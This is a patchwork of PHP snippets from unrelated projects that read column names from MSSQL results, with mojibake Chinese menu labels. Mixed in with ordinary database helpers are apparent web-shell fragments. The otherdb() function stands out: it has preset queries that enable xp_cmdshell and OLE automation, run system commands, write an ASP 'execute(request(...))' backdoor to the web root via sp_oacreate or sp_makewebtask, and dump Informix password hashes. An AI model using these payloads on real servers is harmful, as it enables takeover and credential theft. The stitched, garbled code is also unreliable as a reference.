function select_to_table($query) { $results = mssql_query($query) or die("<li>errorno=" . mysql_errno() . "<li>error=" . mysql_error() . "<li>query=" . $query); $number_cols = mssql_num_fields($results); //display query echo "<b>query: {$query}</b>"; //layout table header echo "<table border = 1>\n"; echo "<tr align left>\n"; for ($i = 0; $i < $number_cols; $i++) { echo "<th>" . mssql_field_name($results, $i) . "</th>\n"; } echo "</tr>\n"; //end table header //layout table body while ($row = mssql_fetch_row($results)) { echo "<tr align left>\n"; for ($i = 0; $i < $number_cols; $i++) { echo "<td>"; if (!isset($row[$i])) { echo "NULL"; } else { echo $row[$i]; } echo "</td>\n"; } echo "</tr>\n"; } echo "</table>\n"; }
function xcopy($mssql, $mysql, $db, $table, $sql) { $start = microtime(true); mysqli_select_db($mysql, $db); mssql_select_db($db, $mssql); $result = mssql_query($sql, $mssql, 20000); if ($result === false) { die("Error creating sync data\n"); } $s = 0; $r = mssql_num_rows($result); $name_count = mssql_num_fields($result); $name_list = ""; $update_list = ""; $value_list = ""; $sql = ""; $radix = 0; for ($i = 0; $i < $name_count; $i++) { $x = strtolower(mssql_field_name($result, $i)); $name_list .= "{$x},"; if ($x != "dex_row_id") { $update_list .= "{$x} = values({$x}),"; } } $name_list = rtrim($name_list, ","); $update_list = rtrim($update_list, ","); do { while ($row = mssql_fetch_row($result)) { for ($i = 0; $i < $name_count; $i++) { $value_list .= "'" . str_replace("'", "''", trim($row[$i])) . "',"; } $value_list = rtrim($value_list, ","); $radix++; $sql .= "\n({$value_list}),"; $value_list = ""; if ($radix > 2000) { $sql = trim($sql, ","); $sql = "insert into {$table} ({$name_list}) values {$sql} on duplicate key update {$update_list};"; $rset = mysqli_query($mysql, $sql); if ($rset === false) { die("Error inserting mysql data. \n" . mysqli_error($mysql) . "\n\n{$sql}\n\n"); } $radix = 0; $sql = ""; } $s++; } } while (mssql_fetch_batch($result)); if ($sql != "") { $sql = trim($sql, ","); $sql = "insert into {$table} ({$name_list}) values {$sql} on duplicate key update {$update_list};"; $rset = mysqli_query($mysql, $sql); if ($rset === false) { die("Error inserting mysql data. \n" . mysqli_error($mysql) . "\n\n{$sql}\n\n"); } } $end = microtime(true); $total = $end - $start; echo "imported {$db}.{$table} [ {$s} ] records in {$total} sec.\n"; }
public function get_web_log() { //select the database mssql_select_db($this->dbname, $this->dbcon); //SQL Select statement $xml = new XMLHandler(XML_DIR . "web_request_spk.xml"); $sql_from_xml = $xml->getNode("web_log"); $sqlselect = str_replace("FILTER_BY_PROGRAM", "", $sql_from_xml); //Run the SQL query $result = mssql_query($sqlselect); $numfields = mssql_num_fields($result); $string_result = ""; while ($row = mssql_fetch_row($result)) { $string_result .= "<tr>"; for ($i = 0; $i < $numfields; $i++) { if (mssql_field_name($result, $i) == "IP_ADDRESS") { $ip = explode(":", $row[$i]); $string_result .= "<td>" . $ip[0] . "</td>"; $string_result .= "<td>" . $ip[1] . "</td>"; } else { $string_result .= "<td>" . $row[$i] . "</td>"; } } $string_result .= "</tr>"; } return $string_result; }
function table_copy($xsql, $table) { global $old_gp; global $new_gp; $name = ""; $names = ""; $feilds = ""; $sql = "truncate table {$table};"; $inc = 0; $rset = mssql_query($xsql, $old_gp); while ($line = mssql_fetch_assoc($rset)) { $names = ""; $feilds = ""; for ($inc = 0; $inc < mssql_num_fields($rset); $inc++) { $name = trim(mssql_field_name($rset, $inc)); if ($names == "") { $names = $name; } else { $names .= ", {$name}"; } if ($feilds == "") { $feilds = "'" . str_replace("'", "''", trim($line[$name])) . "'"; } else { $feilds .= ", '" . str_replace("'", "''", trim($line[$name])) . "'"; } } $sql .= "insert into {$table} ({$names}) values ({$feilds});\n"; echo "{$sql}"; mssql_query($sql, $new_gp); $sql = ""; } //echo $sql; }
/** * Constructor method for the adapter. This constructor implements the setting of the * 3 required properties for the object. * * @param resource $d The datasource resource */ function mssqlAdapter($d) { parent::RecordSetAdapter($d); $fieldcount = mssql_num_fields($d); // grab the number of fields $ob = ""; $be = $this->isBigEndian; $fc = pack('N', $fieldcount); if (mssql_num_rows($d) > 0) { mssql_data_seek($d, 0); while ($line = mssql_fetch_row($d)) { // write all of the array elements $ob .= "\n" . $fc; foreach ($line as $value) { // write all of the array elements if (is_string($value)) { // type as string $os = $this->_directCharsetHandler->transliterate($value); //string flag, string length, and string $len = strlen($os); if ($len < 65536) { $ob .= "" . pack('n', $len) . $os; } else { $ob .= "\f" . pack('N', $len) . $os; } } elseif (is_float($value) || is_int($value)) { // type as double $b = pack('d', $value); // pack the bytes if ($be) { // if we are a big-endian processor $r = strrev($b); } else { // add the bytes to the output $r = $b; } $ob .= "" . $r; } elseif (is_bool($value)) { //type as bool $ob .= ""; $ob .= pack('c', $value); } elseif (is_null($value)) { // null $ob .= ""; } } } } $this->serializedData = $ob; for ($i = 0; $i < $fieldcount; $i++) { // loop over all of the fields $this->columnNames[] = $this->_directCharsetHandler->transliterate(mssql_field_name($d, $i)); } $this->numRows = mssql_num_rows($d); }
function _performGetBlobFieldNames($result) { $blobFields = array(); for ($i = mssql_num_fields($result) - 1; $i >= 0; $i--) { $type = mssql_field_type($result, $i); if (strpos($type, "BLOB") !== false) { $blobFields[] = mssql_field_name($result, $i); } } return $blobFields; }
function funDevuelveArregloRecordsetMS($parERecordset, &$parSArray) { // Obtiene las logitudes del arreglo $nrMS = mssql_num_rows($parERecordset); $nfMS = mssql_num_fields($parERecordset); for ($varI = 0; $varI < $nrMS; $varI++) { $results = mssql_fetch_array($parERecordset); for ($varJ = 0; $varJ < $nfMS; $varJ++) { $varFielName = mssql_field_name($parERecordset, $varJ); $parSArray[$varFielName][$varI] = $results[$varFielName]; } } // Retorna el numero de registros (filas del arreglo( return $nrMS; }
/** * Constructor method for the adapter. This constructor implements the setting of the * 3 required properties for the object. * * @param resource $d The datasource resource */ function mssqlAdapter($d) { parent::RecordSetAdapter($d); $fieldcount = mssql_num_fields($d); // grab the number of fields for ($i = 0; $i < $fieldcount; $i++) { // loop over all of the fields $this->columnNames[] = mssql_field_name($d, $i); } if (mssql_num_rows($d) > 0) { mssql_data_seek($d, 0); while ($line = mssql_fetch_row($d)) { $this->rows[] = $line; } } }
function querY($type, $host, $user, $pass, $db = '', $query) { $res = ''; switch ($type) { case 'MySQL': if (!function_exists('mysql_connect')) { return 0; } $link = mysql_connect($host, $user, $pass); if ($link) { if (!empty($db)) { mysql_select_db($db, $link); } $result = mysql_query($query, $link); while ($data = mysql_fetch_row($result)) { $res .= implode('|-|-|-|-|-|', $data) . '|+|+|+|+|+|'; } $res .= '[+][+][+]'; for ($i = 0; $i < mysql_num_fields($result); $i++) { $res .= mysql_field_name($result, $i) . '[-][-][-]'; } mysql_close($link); return $res; } break; case 'MSSQL': if (!function_exists('mssql_connect')) { return 0; } $link = mssql_connect($host, $user, $pass); if ($link) { if (!empty($db)) { mssql_select_db($db, $link); } $result = mssql_query($query, $link); while ($data = mssql_fetch_row($result)) { $res .= implode('|-|-|-|-|-|', $data) . '|+|+|+|+|+|'; } $res .= '[+][+][+]'; for ($i = 0; $i < mssql_num_fields($result); $i++) { $res .= mssql_field_name($result, $i) . '[-][-][-]'; } mssql_close($link); return $res; } break; case 'Oracle': if (!function_exists('ocilogon')) { return 0; } $link = ocilogon($user, $pass, $db); if ($link) { $stm = ociparse($link, $query); ociexecute($stm, OCI_DEFAULT); while ($data = ocifetchinto($stm, $data, OCI_ASSOC + OCI_RETURN_NULLS)) { $res .= implode('|-|-|-|-|-|', $data) . '|+|+|+|+|+|'; } $res .= '[+][+][+]'; for ($i = 0; $i < oci_num_fields($stm); $i++) { $res .= oci_field_name($stm, $i) . '[-][-][-]'; } return $res; } break; case 'PostgreSQL': if (!function_exists('pg_connect')) { return 0; } $link = pg_connect("host={$host} dbname={$db} user={$user} password={$pass}"); if ($link) { $result = pg_query($link, $query); while ($data = pg_fetch_row($result)) { $res .= implode('|-|-|-|-|-|', $data) . '|+|+|+|+|+|'; } $res .= '[+][+][+]'; for ($i = 0; $i < pg_num_fields($result); $i++) { $res .= pg_field_name($result, $i) . '[-][-][-]'; } pg_close($link); return $res; } break; } return 0; }
public function getColnames($result) { if (!is_resource($result)) { throw new DbControlException("Ilegal parameter result. Must be valid result resource."); } if (!($numFields = @mssql_num_fields($result))) { throw new DbControlException("No Column in result."); } for ($i = 0; $i < $numFields; $i++) { if (!($colname = @mssql_field_name($result, $i))) { $this->throwMssqlException("Colnames reading error."); } $colnames[$i] = $colname; } return $colnames; }
function write_data_mssql($table_name) { global $db; $ary_type = $ary_name = array(); $ident_set = false; $sql_data = ''; // Grab all of the data from current table. $sql = "SELECT *\n\t\t\tFROM {$table_name}"; $result = $db->sql_query($sql); $retrieved_data = mssql_num_rows($result); $i_num_fields = mssql_num_fields($result); for ($i = 0; $i < $i_num_fields; $i++) { $ary_type[$i] = mssql_field_type($result, $i); $ary_name[$i] = mssql_field_name($result, $i); } if ($retrieved_data) { $sql = "SELECT 1 as has_identity\n\t\t\t\tFROM INFORMATION_SCHEMA.COLUMNS\n\t\t\t\tWHERE COLUMNPROPERTY(object_id('{$table_name}'), COLUMN_NAME, 'IsIdentity') = 1"; $result2 = $db->sql_query($sql); $row2 = $db->sql_fetchrow($result2); if (!empty($row2['has_identity'])) { $sql_data .= "\nSET IDENTITY_INSERT {$table_name} ON\nGO\n"; $ident_set = true; } $db->sql_freeresult($result2); } while ($row = $db->sql_fetchrow($result)) { $schema_vals = $schema_fields = array(); // Build the SQL statement to recreate the data. for ($i = 0; $i < $i_num_fields; $i++) { $str_val = $row[$ary_name[$i]]; if (preg_match('#char|text|bool|varbinary#i', $ary_type[$i])) { $str_quote = ''; $str_empty = "''"; $str_val = sanitize_data_mssql(str_replace("'", "''", $str_val)); } else { if (preg_match('#date|timestamp#i', $ary_type[$i])) { if (empty($str_val)) { $str_quote = ''; } else { $str_quote = "'"; } } else { $str_quote = ''; $str_empty = 'NULL'; } } if (empty($str_val) && $str_val !== '0' && !(is_int($str_val) || is_float($str_val))) { $str_val = $str_empty; } $schema_vals[$i] = $str_quote . $str_val . $str_quote; $schema_fields[$i] = $ary_name[$i]; } // Take the ordered fields and their associated data and build it // into a valid sql statement to recreate that field in the data. $sql_data .= "INSERT INTO {$table_name} (" . implode(', ', $schema_fields) . ') VALUES (' . implode(', ', $schema_vals) . ");\nGO\n"; $this->flush($sql_data); $sql_data = ''; } $db->sql_freeresult($result); if ($retrieved_data && $ident_set) { $sql_data .= "\nSET IDENTITY_INSERT {$table_name} OFF\nGO\n"; } $this->flush($sql_data); }
function sql_fieldname($offset, $query_id = 0) { if (!$query_id) { $query_id = $this->result; } return $query_id ? @mssql_field_name($query_id, $offset) : false; }
/** * Get the name of the specified field in a result * @param Mixed qHanle The query handle * @param Number offset * @return String */ public function field_name($qHanle, $offset) { return @mssql_field_name($qHanle, $offset); }
function db_fieldname($lhandle, $fnumber) { return @mssql_field_name($lhandle, $fnumber); }
function sql_field_name($sqltype, $result, $i) { if ($sqltype == 'mysql') { if (class_exists('mysqli_result')) { $z = $result->fetch_field(); return $z->name; } elseif (function_exists('mysql_field_name')) { return mysql_field_name($result, $i); } } elseif ($sqltype == 'mssql') { if (function_exists('sqlsrv_field_metadata')) { $metadata = sqlsrv_field_metadata($result); if (is_array($metadata)) { $metadata = $metadata[$i]; } if (is_array($metadata)) { return $metadata['Name']; } } elseif (function_exists('mssql_field_name')) { return mssql_field_name($result, $i); } } elseif ($sqltype == 'pgsql') { return pg_field_name($result, $i); } elseif ($sqltype == 'oracle') { return oci_field_name($result, $i + 1); } elseif ($sqltype == 'sqlite3') { return $result->columnName($i); } elseif ($sqltype == 'sqlite') { return sqlite_field_name($result, $i); } elseif ($sqltype == 'odbc') { return odbc_field_name($result, $i + 1); } elseif ($sqltype == 'pdo') { $res = $result->getColumnMeta($i); return $res['name']; } }
$s_result .= "\t<form action=\"" . $_SERVER['PHP_SELF'] . "?db\" method=\"post\">\n\t\t\t\t\t<input type=\"hidden\" name=\"sqlhost\" value=\"" . $sqlhost . "\" />\n\t\t\t\t\t<input type=\"hidden\" name=\"sqluser\" value=\"" . $sqluser . "\" />\n\t\t\t\t\t<input type=\"hidden\" name=\"sqlport\" value=\"" . $sqlport . "\" />\n\t\t\t\t\t<input type=\"hidden\" name=\"sqlpass\" value=\"" . $sqlpass . "\" />\n\t\t\t\t\t<input type=\"hidden\" name=\"d\" value=\"" . $pwd . "\" />\n\t\t\t\t\t<textarea id=\"sqlcode\" name=\"sqlcode\" class=\"evalcode\" style=\"height:10em;\">" . $sqls . "</textarea>\n\t\t\t\t\t<p><input type=\"submit\" name=\"mysqlcon\" class=\"inputzbut\" value=\"Go !\" style=\"width:120px;height:30px;\" />\n\t\t\t\t\t Separate multiple commands with a semicolon <span class=\"gaya\">[</span> ; <span class=\"gaya\">]</span></p>\n\t\t\t\t\t</form>"; $s_result .= "<div>" . $q_result . "</div>"; if ($con) { mysql_close($con); } } elseif (isset($_REQUEST['mssqlcon']) && ($con = mssql_connect($hostandport, $sqluser, $sqlpass))) { if (isset($_REQUEST['sqlcode'])) { $sqls = ss($_REQUEST['sqlcode']); $querys = explode(";", $sqls); foreach ($querys as $query) { if (trim($query) != "") { $hasil = mssql_query($query); if ($hasil) { $q_result .= "<p style=\"padding:0;margin:20px 6px 0 6px;\">" . $query . "; \n\t\t\t\t\t\t<span class=\"gaya\">[</span> ok <span class=\"gaya\">]</span></p>\n\t\t\t\t\t\t<table class=\"explore\" style=\"width:99%;\"><tr>"; for ($i = 0; $i < mssql_num_fields($hasil); $i++) { $q_result .= "<th>" . htmlspecialchars(mssql_field_name($hasil, $i)) . "</th>"; } $q_result .= "</tr>"; while ($rows = mssql_fetch_array($hasil)) { $q_result .= "<tr>"; for ($j = 0; $j < mssql_num_fields($hasil); $j++) { if ($rows[$j] == "") { $dataz = " "; } else { $dataz = $rows[$j]; } $q_result .= "<td>" . htmlspecialchars($dataz) . "</td>"; } $q_result .= "</tr>"; } $q_result .= "</table>";
function otherdb() { $db = isset($_GET['db']) ? $_GET['db'] : 'ms'; print <<<END <form method="POST" name="dbform" id="dbform" action="?s=gg&db={$db}" enctype="multipart/form-data"> <div class="actall"> <a href="?s=gg&db=ms">   MSSQL  </a> <a href="?s=gg&db=ora">   Oracle  </a> <a href="?s=gg&db=ifx">   InforMix  </a> <a href="?s=gg&db=fb">   FireBird  </a> <a href="?s=gg&db=db2">  DB2  </a></div></form> END; if ($db == "ms") { $mshost = isset($_POST['mshost']) ? $_POST['mshost'] : 'localhost'; $msuser = isset($_POST['msuser']) ? $_POST['msuser'] : '******'; $mspass = isset($_POST['mspass']) ? $_POST['mspass'] : ''; $msdbname = isset($_POST['msdbname']) ? $_POST['msdbname'] : 'master'; $msaction = isset($_POST['action']) ? $_POST['action'] : ''; $msquery = isset($_POST['mssql']) ? $_POST['mssql'] : ''; $msquery = stripslashes($msquery); print <<<END <div class="actall"> <form method="POST" name="msform" action="?s=gg&db=ms"> Host:<input type="text" name="mshost" value="{$mshost}" style="width:100px"> User:<input type="text" name="msuser" value="{$msuser}" style="width:100px"> Pass:<input type="text" name="mspass" value="{$mspass}" style="width:100px"> Dbname:<input type="text" name="msdbname" value="{$msdbname}" style="width:100px"><br> <script language="javascript"> function msFull(i){ \tStr = new Array(11); \tStr[0] = ""; \tStr[1] = "select @@version;"; \tStr[2] = "select name from sysdatabases;"; \tStr[3] = "select name from sysobject where type='U';"; \tStr[4] = "select name from syscolumns where id=Object_Id('table_name');"; \tStr[5] = "Use master dbcc addextendedproc ('sp_OACreate','odsole70.dll');"; \tStr[6] = "Use master dbcc addextendedproc ('xp_cmdshell','xplog70.dll');"; \tStr[7] = "EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;"; \tStr[8] = "exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;"; \tStr[9] = "exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;"; \tStr[10] = "Exec master.dbo.xp_cmdshell 'net user';"; \tStr[11] = "Declare @s int;exec sp_oacreate 'wscript.shell',@s out;Exec SP_OAMethod @s,'run',NULL,'cmd.exe /c echo ^<%execute(request(char(35)))%^> > c:\\\\1.asp';"; \tStr[12] = "sp_makewebtask @outputfile='d:\\\\web\\\\bin.asp',@charset=gb2312,@query='select ''<%execute(request(chr(35)))%>''' "; \tmsform.mssql.value = Str[i]; \treturn true; } </script> <textarea name="mssql" style="width:600px;height:200px;">{$msquery}</textarea><br> <select onchange="return msFull(options[selectedIndex].value)"> \t<option value="0" selected>ִ������</option> \t<option value="1">��ʾ�汾</option> \t<option value="2">���ݿ�</option> \t<option value="3">����</option> \t<option value="4">�ֶ�</option> \t<option value="5">sp_oacreate</option> \t<option value="6">xp_cmdshell</option> \t<option value="7">xp_cmdshell(2005)</option> \t<option value="8">sp_oacreate(2005)</option> \t<option value="9">����openrowset(2005)</option> \t<option value="10">xp_cmdshell exec</option> \t<option value="10">sp_oamethod exec</option> \t<option value="11">sp_makewebtask</option> </select> <input type="hidden" name="action" value="msquery"> <input class="bt" type="submit" value="Query"></form></div> END; if ($msaction == 'msquery') { $msconn = mssql_connect($mshost, $msuser, $mspass); mssql_select_db($msdbname, $msconn) or die("connect error :" . mssql_get_last_message()); $msresult = mssql_query($msquery) or die(mssql_get_last_message()); echo '<font face="verdana"><table border="1" cellpadding="1" cellspacing="2">' . "\n<tr>\n"; for ($i = 0; $i < mssql_num_fields($msresult); $i++) { echo '<td><b>' . mssql_field_name($msresult, $i) . "</b></td>\n"; } echo "</tr>\n"; mssql_data_seek($result, 0); while ($msrow = mssql_fetch_row($msresult)) { echo "<tr>\n"; for ($i = 0; $i < mssql_num_fields($msresult); $i++) { echo '<td>' . "{$msrow[$i]}" . '</td>'; } echo "</tr>\n"; } echo "</table></font>"; mssql_free_result($msresult); mssql_close(); } } elseif ($db == "ora") { $orahost = isset($_POST['orahost']) ? $_POST['orahost'] : 'localhost'; $oraport = isset($_POST['oraport']) ? $_POST['oraport'] : '1521'; $orauser = isset($_POST['orauser']) ? $_POST['orauser'] : '******'; $orapass = isset($_POST['orapass']) ? $_POST['orapass'] : '******'; $orasid = isset($_POST['orasid']) ? $_POST['orasid'] : 'ORCL'; $oraaction = isset($_POST['action']) ? $_POST['action'] : ''; $oraquery = isset($_POST['orasql']) ? $_POST['orasql'] : ''; $oraquery = stripslashes($oraquery); print <<<END <form method="POST" name="oraform" action="?s=gg&db=ora"> <div class="actall"> Host:<input type="text" name="orahost" value="{$orahost}" style="width:100px"> Port:<input type="text" name="oraport" value="{$oraport}" style="width:50px"> User:<input type="text" name="orauser" value="{$orauser}" style="width:80px"> Pass:<input type="text" name="orapass" value="{$orapass}" style="width:100px"> SID:<input type="text" name="orasid" value="{$orasid}" style="width:50px"><br> <script language="javascript"> function oraFull(i){ Str = new Array(5); \tStr[0] = ""; \tStr[1] = "select version();"; \tStr[2] = "SELECT NAME FROM V{$DATABASE}"; \tStr[3] = "select * From all_objects where object_type='TABLE'"; \tStr[4] = "select column_name from user_tab_columns where table_name='table1'"; \toraform.orasql.value = Str[i]; \treturn true; } </script> <textarea name="orasql" style="width:600px;height:200px;">{$oraquery}</textarea><br> <select onchange="return oraFull(options[selectedIndex].value)"> \t<option value="0" selected>ִ������</option> \t<option value="1">��ʾ�汾</option> \t<option value="2">���ݿ�</option> \t<option value="3">����</option> \t<option value="4">�ֶ�</option> </select> <input type="hidden" name="action" value="myquery"> <input class="bt" type="submit" value="Query"></div></form> END; if ($oraaction == 'oraquery') { $oralink = OCILogon($orauser, $orapass, "(DEscriptION=(ADDRESS=(PROTOCOL =TCP)(HOST={$orahost})(PORT = {$oraport}))(CONNECT_DATA =(SID={$orasid})))") or die(ocierror()); $oraresult = ociparse($oralink, $oraquery) or die(ocierror()); $orarow = oci_fetch_row($oraresult); echo '<font face="verdana"><table border="1" cellpadding="1" cellspacing="2">' . "\n<tr>\n"; for ($i = 0; $i < oci_num_fields($oraresult); $i++) { echo '<td><b>' . oci_field_name($oraresult, $i) . "</b></td>\n"; } echo "</tr>\n"; ociresult($oraresult, 0); while ($orarow = ora_fetch_row($oraresult)) { echo "<tr>\n"; for ($i = 0; $i < ora_num_fields($result); $i++) { echo '<td>' . "{$orarow[$i]}" . '</td>'; } echo "</tr>\n"; } echo "</table></font>"; oci_free_statement($oraresult); ocilogoff(); } } elseif ($db == "ifx") { $ifxuser = isset($_POST['ifxuser']) ? $_POST['ifxuser'] : '******'; $ifxpass = isset($_POST['ifxpass']) ? $_POST['ifxpass'] : '******'; $ifxdbname = isset($_POST['ifxdbname']) ? $_POST['ifxdbname'] : 'ifxdb'; $ifxaction = isset($_POST['action']) ? $_POST['action'] : ''; $ifxquery = isset($_POST['ifxsql']) ? $_POST['ifxsql'] : ''; $ifxquery = stripslashes($ifxquery); print <<<END <form method="POST" name="ifxform" action="?s=gg&db=ifx"> <div class="actall">Dbname:<input type="text" name="ifxhost" value="{$ifxdbname}" style="width:100px"> User:<input type="text" name="ifxuser" value="{$ifxuser}" style="width:100px"> Pass:<input type="text" name="ifxpass" value="{$ifxpass}" style="width:100px"><br> <script language="javascript"> function ifxFull(i){ Str = new Array(11); \tStr[0] = ""; \tStr[1] = "select dbservername from sysobjects;"; \tStr[2] = "select name from sysdatabases;"; \tStr[3] = "select tabname from systables;"; \tStr[4] = "select colname from syscolumns where tabid=n;"; \tStr[5] = "select username,usertype,password from sysusers;"; \tifxform.ifxsql.value = Str[i]; \treturn true; } </script> <textarea name="ifxsql" style="width:600px;height:200px;">{$ifxquery}</textarea><br> <select onchange="return ifxFull(options[selectedIndex].value)"> \t<option value="0" selected>ִ������</option> \t<option value="1">���ݿ�����������</option> \t<option value="1">���ݿ�</option> \t<option value="2">����</option> \t<option value="3">�ֶ�</option> \t<option value="4">hashes</option> </select> <input type="hidden" name="action" value="ifxquery"> <input class="bt" type="submit" value="Query"></div></form> END; if ($ifxaction == 'ifxquery') { $ifxlink = ifx_connect($ifcdbname, $ifxuser, $ifxpass) or die(ifx_errormsg()); $ifxresult = ifx_query($ifxquery, $ifxlink) or die(ifx_errormsg()); $ifxrow = ifx_fetch_row($ifxresult); echo '<font face="verdana"><table border="1" cellpadding="1" cellspacing="2">' . "\n<tr>\n"; for ($i = 0; $i < ifx_num_fields($ifxresult); $i++) { echo '<td><b>' . ifx_fieldproperties($ifxresult) . "</b></td>\n"; } echo "</tr>\n"; mysql_data_seek($ifxresult, 0); while ($ifxrow = ifx_fetch_row($ifxresult)) { echo "<tr>\n"; for ($i = 0; $i < ifx_num_fields($ifxresult); $i++) { echo '<td>' . "{$ifxrow[$i]}" . '</td>'; } echo "</tr>\n"; } echo "</table></font>"; ifx_free_result($ifxresult); ifx_close(); } } elseif ($db == "db2") { $db2host = isset($_POST['db2host']) ? $_POST['db2host'] : 'localhost'; $db2port = isset($_POST['db2port']) ? $_POST['db2port'] : '50000'; $db2user = isset($_POST['db2user']) ? $_POST['db2user'] : '******'; $db2pass = isset($_POST['db2pass']) ? $_POST['db2pass'] : '******'; $db2dbname = isset($_POST['db2dbname']) ? $_POST['db2dbname'] : 'mysql'; $db2action = isset($_POST['action']) ? $_POST['action'] : ''; $db2query = isset($_POST['db2sql']) ? $_POST['db2sql'] : ''; $db2query = stripslashes($db2query); print <<<END <form method="POST" name="db2form" action="?s=gg&db=db2"> <div class="actall">Host:<input type="text" name="db2host" value="{$db2host}" style="width:100px"> Port:<input type="text" name="db2port" value="{$db2port}" style="width:60px"> User:<input type="text" name="db2user" value="{$db2user}" style="width:100px"> Pass:<input type="text" name="db2pass" value="{$db2pass}" style="width:100px"> Dbname:<input type="text" name="db2dbname" value="{$db2dbname}" style="width:100px"><br> <script language="javascript"> function db2Full(i){ Str = new Array(4); \tStr[0] = ""; \tStr[1] = "select schemaname from syscat.schemata;"; \tStr[2] = "select name from sysibm.systables;"; \tStr[3] = "select colname from syscat.columns where tabname='table_name';"; \tStr[4] = "db2 get db cfg for db_name;"; db2form.db2sql.value = Str[i]; return true; } </script> <textarea name="db2sql" style="width:600px;height:200px;">{$db2query}</textarea><br> <select onchange="return db2Full(options[selectedIndex].value)"> \t<option value="0" selected>ִ������</option> \t<option value="1">���ݿ�</option> \t<option value="1">����</option> \t<option value="2">�ֶ�</option> \t<option value="3">���ݿ�����</option> </select> <input type="hidden" name="action" value="db2query"> <input class="bt" type="submit" value="Query"></div></form> END; if ($myaction == 'db2query') { $db2link = db2_connect($db2dbname, $db2user, $db2pass) or die(db2_conn_errormsg()); $db2result = db2_exec($db2link, $db2query) or die(db2_stmt_errormsg()); $db2row = db2_fetch_row($db2result); echo '<font face="verdana"><table border="1" cellpadding="1" cellspacing="2">' . "\n<tr>\n"; for ($i = 0; $i < db2_num_fields($db2result); $i++) { echo '<td><b>' . db2_field_name($db2result) . "</b></td>\n"; } echo "</tr>\n"; while ($db2row = db2_fetch_row($db2result)) { echo "<tr>\n"; for ($i = 0; $i < db2_num_fields($db2result); $i++) { echo '<td>' . "{$db2row[$i]}" . '</td>'; } echo "</tr>\n"; } echo "</table></font>"; db2_free_result($db2result); db2_close(); } } elseif ($db == "fb") { $fbhost = isset($_POST['fbhost']) ? $_POST['fbhost'] : 'localhost'; $fbpath = isset($_POST['fbpath']) ? $_POST['fbpath'] : ''; $fbpath = str_replace("\\\\", "\\", $fbpath); $fbuser = isset($_POST['fbuser']) ? $_POST['fbuser'] : '******'; $fbpass = isset($_POST['fbpass']) ? $_POST['fbpass'] : '******'; $fbaction = isset($_POST['action']) ? $_POST['action'] : ''; $fbquery = isset($_POST['fbsql']) ? $_POST['fbsql'] : ''; $fbquery = stripslashes($fbquery); print <<<END <form method="POST" name="fbform" action="?s=gg&db=fb"> <div class="actall">Host:<input type="text" name="fbhost" value="{$fbhost}" style="width:100px"> Path:<input type="text" name="fbpath" value="{$fbpath}" style="width:100px"> User:<input type="text" name="fbuser" value="{$fbuser}" style="width:100px"> Pass:<input type="text" name="fbpass" value="{$fbpass}" style="width:100px"><br/> <script language="javascript"> function fbFull(i){ Str = new Array(5); \tStr[0] = ""; \tStr[1] = "select RDB\$RELATION_NAME from RDB\$RELATIONS;"; \tStr[2] = "select RDB\$FIELD_NAME from RDB\$RELATION_FIELDS where RDB\$RELATION_NAME='table_name';"; \tStr[3] = "input 'D:\\createtable.sql';"; \tStr[4] = "shell netstat -an;"; fbform.fbsql.value = Str[i]; return true; } </script> <textarea name="fbsql" style="width:600px;height:200px;">{$fbquery}</textarea><br> <select onchange="return fbFull(options[selectedIndex].value)"> \t<option value="0" selected>ִ������</option> \t<option value="1">����</option> \t<option value="2">�ֶ�</option> \t<option value="3">����sql</option> \t<option value="4">shell</option> </select> <input type="hidden" name="action" value="fbquery"> <input class="bt" type="submit" value="Query"></div></form> END; if ($fbaction == 'fbquery') { $fblink = ibase_connect($fbhost . ':' . $fbpath, $fbuser, $fbpass) or die(ibase_errmsg()); $fbresult = ibase_query($fblink, $fbquery) or die(ibase_errmsg()); echo '<font face="verdana"><table border="1" cellpadding="1" cellspacing="2">' . "\n<tr>\n"; for ($i = 0; $i < ibase_num_fields($fbresult); $i++) { echo '<td><b>' . ibase_field_info($fbresult, $i) . "</b></td>\n"; } echo "</tr>\n"; ibase_field_info($fbresult, 0); while ($fbrow = ibase_fetch_row($fbresult)) { echo "<tr>\n"; for ($i = 0; $i < ibase_num_fields($fbresult); $i++) { echo '<td>' . "{$fbrow[$i]}" . '</td>'; } echo "</tr>\n"; } echo "</table></font>"; ibase_free_result($fbresult); ibase_close(); } } }
function fetch_field(&$q, $num) { return mssql_field_name($q, $num); }
public function nextRecord() { if (!is_resource($this->handle)) { return false; } // Coalesce rather than replace common fields. $output = array(); if ($this->mssql) { if ($data = mssql_fetch_row($this->handle)) { foreach ($data as $columnIdx => $value) { $columnName = mssql_field_name($this->handle, $columnIdx); // There are many places in the framework that expect the ID to be a string, not a double // Do not set this to an integer, or it will cause failures in many tests that expect a string if ($columnName == 'ID') { $value = (string) $value; } // $value || !$ouput[$columnName] means that the *last* occurring value is shown // !$ouput[$columnName] means that the *first* occurring value is shown if (isset($value) || !isset($output[$columnName])) { $output[$columnName] = $value; } } return $output; } } else { if ($this->handle && ($data = sqlsrv_fetch_array($this->handle, SQLSRV_FETCH_NUMERIC))) { $fields = sqlsrv_field_metadata($this->handle); foreach ($fields as $columnIdx => $field) { $value = $data[$columnIdx]; if ($value instanceof DateTime) { $value = $value->format('Y-m-d H:i:s'); } // $value || !$ouput[$columnName] means that the *last* occurring value is shown // !$ouput[$columnName] means that the *first* occurring value is shown if (isset($value) || !isset($output[$field['Name']])) { $output[$field['Name']] = $value; } } return $output; } else { // Free the handle if there are no more results - sqlsrv crashes if there are too many handles if ($this->handle) { sqlsrv_free_stmt($this->handle); $this->handle = null; } } } return false; }
/** * Get a field name in a result object * See documentation for mysql_field_name(): * http://www.php.net/mysql_field_name * @param $res SQL result object as returned from Database::query(), etc. * @param $n Int */ function fieldName($res, $n) { if ($res instanceof ResultWrapper) { $res = $res->result; } return mssql_field_name($res, $n); }
